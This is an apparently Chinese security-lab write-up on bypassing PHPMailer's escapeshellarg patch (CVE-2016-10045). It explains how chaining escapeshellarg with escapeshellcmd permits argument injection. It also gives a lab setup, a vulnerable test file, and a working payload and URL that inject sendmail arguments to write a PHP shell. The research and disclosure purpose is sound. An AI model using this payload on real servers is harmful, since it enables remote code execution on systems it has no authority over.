Author: Hcamael, p0wd3r (知道創宇404安全實驗室)
Date: 2016-12-28
0x00 簡介
前兩天爆出了 PHPMailer 小于 5.2.18 版本的 RCE 漏洞,官方在補丁中使用了escapeshellarg來防止注入參數,但有趣的是經過測試我們發現該補丁是可以被繞過的,并且攻擊面可以延伸到更大而不僅僅是局限于這個應用。
0x01 漏洞復現
環境搭建
Dockerfile:
FROM php:5.6-apache
RUN apt-get update && apt-get install -y sendmail
RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini
提前下載好源碼,在源碼根目錄下添加測試文件 1.php:
<?php
require('PHPMailerAutoload.php');
$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('c@d.com', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';
$mail->send();
?>
shell:
docker build -t bypass-test .
docker run --rm --hostname xxx.xxx --name vuln-phpmail -p 127.0.0.1:8080:80 -v /tmp/PHPMailer-5.2.19:/var/www/html bypass-test
復現
PHPMailer 對之前的漏洞做了如下補丁:

即對輸入使用escapeshellarg處理,最新版本中使用之前的 payload 攻擊是失敗的,例如:a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,但是經小伙伴的測試,在最新版中可以使用這個 payload:a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,結果如下:
訪問http://127.0.0.1:8080/1.php?x=a%27(%20-OQueueDirectory=/tmp%20-X/var/www/html/x.php%20)@a.com,shell 成寫入:

根據調試的結果,我們可以看到參數確實被escapeshellarg處理過了:

那么為什么用了'就會在這里繞過escapeshellarg的限制呢?
我們看一下mail的代碼:https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c ,其中第167-177行如下:
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
可見參數在mail中又經過了escapeshellcmd的處理,將整個過程進行簡化:

可見兩個函數配合使用就會導致多個參數的注入。
我們詳細分析一下:
- 傳入的參數是:
172.17.0.2' -v -d a=1 - 經過
escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。 - 經過
escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義:http://php.net/manual/zh/function.escapeshellcmd.php - 最后執行的命令是
curl '172.17.0.2'\\'' -v -d a=1\',由于中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。
回到mail中,我們的 payload 最終在執行時變成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最終的參數就是這樣被注入的。
誰的鍋?
仔細想想其實這可以算是escapeshellarg和escapeshellcmd的設計問題,因為先轉義參數再轉義命令是很正常的想法,但是它們在配合時并沒有考慮到單引號帶來的隱患。
在 PHPMailer 的這次補丁中,作者使用escapeshellarg意在防止參數注入,但是卻意外的為新漏洞打了助攻,想想也是很有趣的 xD。
攻擊面
如果應用使用escapeshellarg -> escapeshellcmd這樣的流程來處理輸入是存在隱患的,mail就是個很好的例子,因為它函數內部使用了escapeshellcmd,如果開發人員僅用escapeshellarg來處理輸入再傳給mail那這層防御幾乎是可以忽略的。
如果可以注入參數,那利用就是各種各樣的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的參數注入的例子。
有一點需要注意的是,由于注入的命令中會帶有中間的\和最后的',有可能會影響到命令的執行結果,還要結合具體情況再做分析。
如果上述有哪些地方有問題,歡迎大家指正 :)
0x02 時間線
- 2016/12/28 知道創宇404安全實驗室發現 Bypass 并整理文檔
- 2016/12/28 發現 Dawid Golunski 也發現了Bypass 并申請了 CVE,對應編號 CVE-2016-10045
- 2016/12/28 截止目前官方并未發布更新
0x03 參考
- https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
- https://www.reddit.com/r/netsec/comments/5kbo5v/rce_via_unescaped_shell_argument_in_phpmailer_5218/
- https://github.com/opsxcq/exploit-CVE-2016-10033
- https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
- http://php.net/manual/zh/function.escapeshellcmd.php
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/164/